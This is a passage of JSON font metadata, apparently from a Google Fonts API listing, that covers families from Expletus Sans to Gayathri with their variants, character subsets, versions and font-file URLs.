"http://fonts.gstatic.com/s/expletussans/v13/RLp5K5v5_bqufTYdnhFzDj2dRfkSu6EuTHo.ttf", "italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpnK5v5_bqufTYdnhFzDj2ddfsYv4MrXHrRDA.ttf", "500italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgS6oPVFHNBaVImA.ttf", "600italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgZ60PVFHNBaVImA.ttf", "700italic": "http://fonts.gstatic.com/s/expletussans/v13/RLpiK5v5_bqufTYdnhFzDj2ddfsgA6wPVFHNBaVImA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fahkwang", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "latin", "latin-ext", "thai", "vietnamese" ], "version": "v3", "lastModified": "2019-11-05", "files": { "200": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJHmZlRFipxkwjx.ttf", "300": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIjmplRFipxkwjx.ttf", "500": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJ7m5lRFipxkwjx.ttf", "600": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOJXnJlRFipxkwjx.ttf", "700": "http://fonts.gstatic.com/s/fahkwang/v3/Noa26Uj3zpmBOgbNpOIznZlRFipxkwjx.ttf", "200italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgHFQHC5Tlhjxdw4.ttf", "300italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgBVTHC5Tlhjxdw4.ttf", "regular": "http://fonts.gstatic.com/s/fahkwang/v3/Noax6Uj3zpmBOgbNpNqPsr1ZPTZ4.ttf", "italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa36Uj3zpmBOgbNpOqNuLl7OCZ4ihE.ttf", "500italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgE1SHC5Tlhjxdw4.ttf", "600italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgGFVHC5Tlhjxdw4.ttf", "700italic": "http://fonts.gstatic.com/s/fahkwang/v3/Noa06Uj3zpmBOgbNpOqNgAVUHC5Tlhjxdw4.ttf" } }, { "kind": "webfonts#webfont", "family": "Fanwood Text", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFtErwl05Ad_vSCF6Fq7xXGRdbY1P1Sbg.ttf", "italic": "http://fonts.gstatic.com/s/fanwoodtext/v9/3XFzErwl05Ad_vSCF6Fq7xX2R9zc9vhCblye.ttf" } }, { "kind": "webfonts#webfont", "family": "Farro", "category": "sans-serif", "variants": [ "300", "regular", "500", "700" ], "subsets": [ "latin", "latin-ext" ], "version": "v1", "lastModified": "2019-11-05", "files": { "300": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3hNJ6-WkJUQUq7.ttf", "500": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa25NZ6-WkJUQUq7.ttf", "700": "http://fonts.gstatic.com/s/farro/v1/i7dJIFl3byGNHa3xM56-WkJUQUq7.ttf", "regular": "http://fonts.gstatic.com/s/farro/v1/i7dEIFl3byGNHZVNHLq2cV5d.ttf" } }, { "kind": "webfonts#webfont", "family": "Farsan", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin", "latin-ext", "vietnamese" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/farsan/v5/VEMwRoJ0vY_zsyz62q-pxDX9rQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Fascinate", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fascinate/v8/z7NWdRrufC8XJK0IIEli1LbQRPyNrw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fascinate Inline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fascinateinline/v9/jVyR7mzzB3zc-jp6QCAu60poNqIy1g3CfRXxWZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Faster One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fasterone/v11/H4ciBXCHmdfClFb-vWhfyLuShq63czE.ttf" } }, { "kind": "webfonts#webfont", "family": "Fasthand", "category": "serif", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fasthand/v10/0yb9GDohyKTYn_ZEESkuYkw2rQg1.ttf" } }, { "kind": "webfonts#webfont", "family": "Fauna One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/faunaone/v7/wlpzgwTPBVpjpCuwkuEx2UxLYClOCg.ttf" } }, { "kind": "webfonts#webfont", "family": "Faustina", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v6", "lastModified": "2020-02-05", "files": { "500": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlssIEvGVWWe8tbEg.ttf", "600": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsXIYvGVWWe8tbEg.ttf", "700": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsZYYvGVWWe8tbEg.ttf", "regular": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsgoEvGVWWe8tbEg.ttf", "italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsLHWl-SWc5LEnoF.ttf", "500italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsL1Wl-SWc5LEnoF.ttf", "600italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIZXV-SWc5LEnoF.ttf", "700italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIgXV-SWc5LEnoF.ttf" } }, { "kind": "webfonts#webfont", "family": "Federant", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/federant/v12/2sDdZGNfip_eirT0_U0jRUG0AqUc.ttf" } }, { "kind": "webfonts#webfont", "family": "Federo", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/federo/v11/iJWFBX-cbD_ETsbmjVOe2WTG7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Felipa", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/felipa/v7/FwZa7-owz1Eu4F_wSNSEwM2zpA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fenix", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fenix/v7/XoHo2YL_S7-g5ostKzAFvs8o.ttf" } }, { "kind": "webfonts#webfont", "family": "Finger Paint", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fingerpaint/v9/0QInMXVJ-o-oRn_7dron8YWO85bS8ANesw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Code", "category": "monospace", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v8", "lastModified": "2020-04-21", "files": { "300": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_GNsFVfxN87gsj0.ttf", "500": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_A9sFVfxN87gsj0.ttf", "600": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_ONrFVfxN87gsj0.ttf", "700": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_NprFVfxN87gsj0.ttf", "regular": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sFVfxN87gsj0.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Mono", "category": "monospace", "variants": [ "regular", "500", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "500": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDto1d33mf3VaZBRBQ.ttf", "700": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDtondv3mf3VaZBRBQ.ttf", "regular": "http://fonts.gstatic.com/s/firamono/v8/N0bX2SlFPv1weGeLZDtQIfTTkdbJYA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v10", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5Vn9IjOazP3dUTP.ttf", "200": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnWKnuQR37fF3Wlg.ttf", "300": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnPKruQR37fF3Wlg.ttf", "500": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnZKvuQR37fF3Wlg.ttf", "600": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnSKzuQR37fF3Wlg.ttf", "700": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnLK3uQR37fF3Wlg.ttf", "800": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnMK7uQR37fF3Wlg.ttf", "900": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnFK_uQR37fF3Wlg.ttf", "100italic": "http://fonts.gstatic.com/s/firasans/v10/va9A4kDNxMZdWfMOD5VvkrCqYTfVcFTPj0s.ttf", "200italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAGQBf_XljGllLX.ttf", "300italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBiQxf_XljGllLX.ttf", "regular": "http://fonts.gstatic.com/s/firasans/v10/va9E4kDNxMZdWfMOD5VfkILKSTbndQ.ttf", "italic": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5VvkojOazP3dUTP.ttf", "500italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrA6Qhf_XljGllLX.ttf", "600italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAWRRf_XljGllLX.ttf", "700italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrByRBf_XljGllLX.ttf", "800italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBuRxf_XljGllLX.ttf", "900italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBKRhf_XljGllLX.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarWZXtqOlQfx9CjA.ttf", "200": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWTnMiMN-cxZblY4.ttf", "300": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWV3PiMN-cxZblY4.ttf", "500": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWQXOiMN-cxZblY4.ttf", "600": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWSnJiMN-cxZblY4.ttf", "700": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWU3IiMN-cxZblY4.ttf", "800": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWVHLiMN-cxZblY4.ttf", "900": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWXXKiMN-cxZblY4.ttf", "100italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOtEADFm8hSaQTFG18FErVhsC9x-tarUfPVzONUXRpSjJcu.ttf", "200italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVYMJ0dzRehY43EA.ttf", "300italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVBMF0dzRehY43EA.ttf", "regular": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOhEADFm8hSaQTFG18FErVhsC9x-tarYfHnrMtVbx8.ttf", "italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarUfPtqOlQfx9CjA.ttf", "500italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVXMB0dzRehY43EA.ttf", "600italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVcMd0dzRehY43EA.ttf", "700italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVFMZ0dzRehY43EA.ttf", "800italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVCMV0dzRehY43EA.ttf", "900italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVLMR0dzRehY43EA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans Extra Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek", "greek-ext", "latin", "latin-ext", "vietnamese" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3Zyuv1WarE9ncg.ttf", "200": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3TCPn3-0oEZ-a2Q.ttf", "300": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3VSMn3-0oEZ-a2Q.ttf", "500": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3QyNn3-0oEZ-a2Q.ttf", "600": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3SCKn3-0oEZ-a2Q.ttf", "700": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3USLn3-0oEZ-a2Q.ttf", "800": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3ViIn3-0oEZ-a2Q.ttf", "900": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3XyJn3-0oEZ-a2Q.ttf", "100italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPOcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqW21-ejkp3cn22.ttf", "200italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWd36-pGR7e2SvJQ.ttf", "300italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWE32-pGR7e2SvJQ.ttf", "regular": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPKcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda5fiku3efvE8.ttf", "italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fquv1WarE9ncg.ttf", "500italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWS3y-pGR7e2SvJQ.ttf", "600italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWZ3u-pGR7e2SvJQ.ttf", "700italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWA3q-pGR7e2SvJQ.ttf", "800italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWH3m-pGR7e2SvJQ.ttf", "900italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWO3i-pGR7e2SvJQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Fjalla One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/fjallaone/v7/Yq6R-LCAWCX3-6Ky7FAFnOZwkxgtUb8.ttf" } }, { "kind": "webfonts#webfont", "family": "Fjord One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fjordone/v8/zOL-4pbEnKBY_9S1jNKr6e5As-FeiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Flamenco", "category": "display", "variants": [ "300", "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/flamenco/v10/neIPzCehqYguo67ssZ0qNIkyepH9qGsf.ttf", "regular": "http://fonts.gstatic.com/s/flamenco/v10/neIIzCehqYguo67ssaWGHK06UY30.ttf" } }, { "kind": "webfonts#webfont", "family": "Flavors", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/flavors/v9/FBV2dDrhxqmveJTpbkzlNqkG9UY.ttf" } }, { "kind": "webfonts#webfont", "family": "Fondamento", "category": "handwriting", "variants": [ "regular", "italic" ], "subsets": [ "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fondamento/v10/4UaHrEJGsxNmFTPDnkaJx63j5pN1MwI.ttf", "italic": "http://fonts.gstatic.com/s/fondamento/v10/4UaFrEJGsxNmFTPDnkaJ96_p4rFwIwJePw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fontdiner Swanky", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fontdinerswanky/v10/ijwOs4XgRNsiaI5-hcVb4hQgMvCD4uEfKiGvxts.ttf" } }, { "kind": "webfonts#webfont", "family": "Forum", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin", "latin-ext" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/forum/v10/6aey4Ky-Vb8Ew_IWMJMa3mnT.ttf" } }, { "kind": "webfonts#webfont", "family": "Francois One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext", "vietnamese" ], "version": "v14", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/francoisone/v14/_Xmr-H4zszafZw3A-KPSZutNxgKQu_avAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Frank Ruhl Libre", "category": "serif", "variants": [ "300", "regular", "500", "700", "900" ], "subsets": [ "hebrew", "latin", "latin-ext" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUxvHxJDMhYeIHw8.ttf", "500": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPU0PGxJDMhYeIHw8.ttf", "700": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUwvAxJDMhYeIHw8.ttf", "900": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUzPCxJDMhYeIHw8.ttf", "regular": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_w6_fAw7jrcalD7oKYNX0QfAnPa7fv4JjnmY4.ttf" } }, { "kind": "webfonts#webfont", "family": "Freckle Face", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/freckleface/v8/AMOWz4SXrmKHCvXTohxY-YI0U1K2w9lb4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Fredericka the Great", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v9", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/frederickathegreat/v9/9Bt33CxNwt7aOctW2xjbCstzwVKsIBVV-9Skz7Ylch2L.ttf" } }, { "kind": "webfonts#webfont", "family": "Fredoka One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fredokaone/v7/k3kUo8kEI-tA1RRcTZGmTmHBA6aF8Bf_.ttf" } }, { "kind": "webfonts#webfont", "family": "Freehand", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/freehand/v11/cIf-Ma5eqk01VjKTgAmBTmUOmZJk.ttf" } }, { "kind": "webfonts#webfont", "family": "Fresca", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fresca/v8/6ae94K--SKgCzbM2Gr0W13DKPA.ttf" } }, { "kind": "webfonts#webfont", "family": "Frijole", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/frijole/v8/uU9PCBUR8oakM2BQ7xPb3vyHmlI.ttf" } }, { "kind": "webfonts#webfont", "family": "Fruktur", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fruktur/v12/SZc53FHsOru5QYsMfz3GkUrS8DI.ttf" } }, { "kind": "webfonts#webfont", "family": "Fugaz One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fugazone/v9/rax_HiWKp9EAITukFslMBBJek0vA8A.ttf" } }, { "kind": "webfonts#webfont", "family": "GFS Didot", "category": "serif", "variants": [ "regular" ], "subsets": [ "greek" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gfsdidot/v9/Jqzh5TybZ9vZMWFssvwiF-fGFSCGAA.ttf" } }, { "kind": "webfonts#webfont", "family": "GFS Neohellenic", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "greek" ], "version": "v12", "lastModified": "2019-07-16", "files": { "700": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIUdiDOrfiq0b7R8O1Iw9WLcY5rkYdr644fWsRO9w.ttf", "regular": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIRdiDOrfiq0b7R8O1Iw9WLcY5TLahP46UDUw.ttf", "italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QITdiDOrfiq0b7R8O1Iw9WLcY5jL6JLwaATU91X.ttf", "700italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIWdiDOrfiq0b7R8O1Iw9WLcY5jL5r37oQbeMFe985V.ttf" } }, { "kind": "webfonts#webfont", "family": "Gabriela", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gabriela/v8/qkBWXvsO6sreR8E-b_m-zrpHmRzC.ttf" } }, { "kind": "webfonts#webfont", "family": "Gaegu", "category": "handwriting", "variants": [ "300", "regular", "700" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU57nifw74sdtBk0x.ttf", "700": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU573jvw74sdtBk0x.ttf", "regular": "http://fonts.gstatic.com/s/gaegu/v8/TuGfUVB6Up9NU6ZLodgzydtk.ttf" } }, { "kind": "webfonts#webfont", "family": "Gafata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gafata/v8/XRXV3I6Cn0VJKon4MuyAbsrVcA.ttf" } }, { "kind": "webfonts#webfont", "family": "Galada", "category": "display", "variants": [ "regular" ], "subsets": [ "bengali", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galada/v5/H4cmBXyGmcjXlUX-8iw-4Lqggw.ttf" } }, { "kind": "webfonts#webfont", "family": "Galdeano", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galdeano/v9/uU9MCBoQ4YOqOW1boDPx8PCOg0uX.ttf" } }, { "kind": "webfonts#webfont", "family": "Galindo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin", "latin-ext" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galindo/v7/HI_KiYMeLqVKqwyuQ5HiRp-dhpQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gamja Flower", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gamjaflower/v8/6NUR8FiKJg-Pa0rM6uN40Z4kyf9Fdty2ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Gayathri", "category": "sans-serif", "variants": [ "100", "regular", "700" ], "subsets": [ "latin", "malayalam" ], "version": "v1", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/gayathri/v1/MCoWzAb429DbBilWLLhc-pvSA_gA2W8.ttf", "700": "http://fonts.gstatic.com/s/gayathri/v1/MCoXzAb429DbBilWLLiE37v4LfQJwHbn.ttf", "regular": 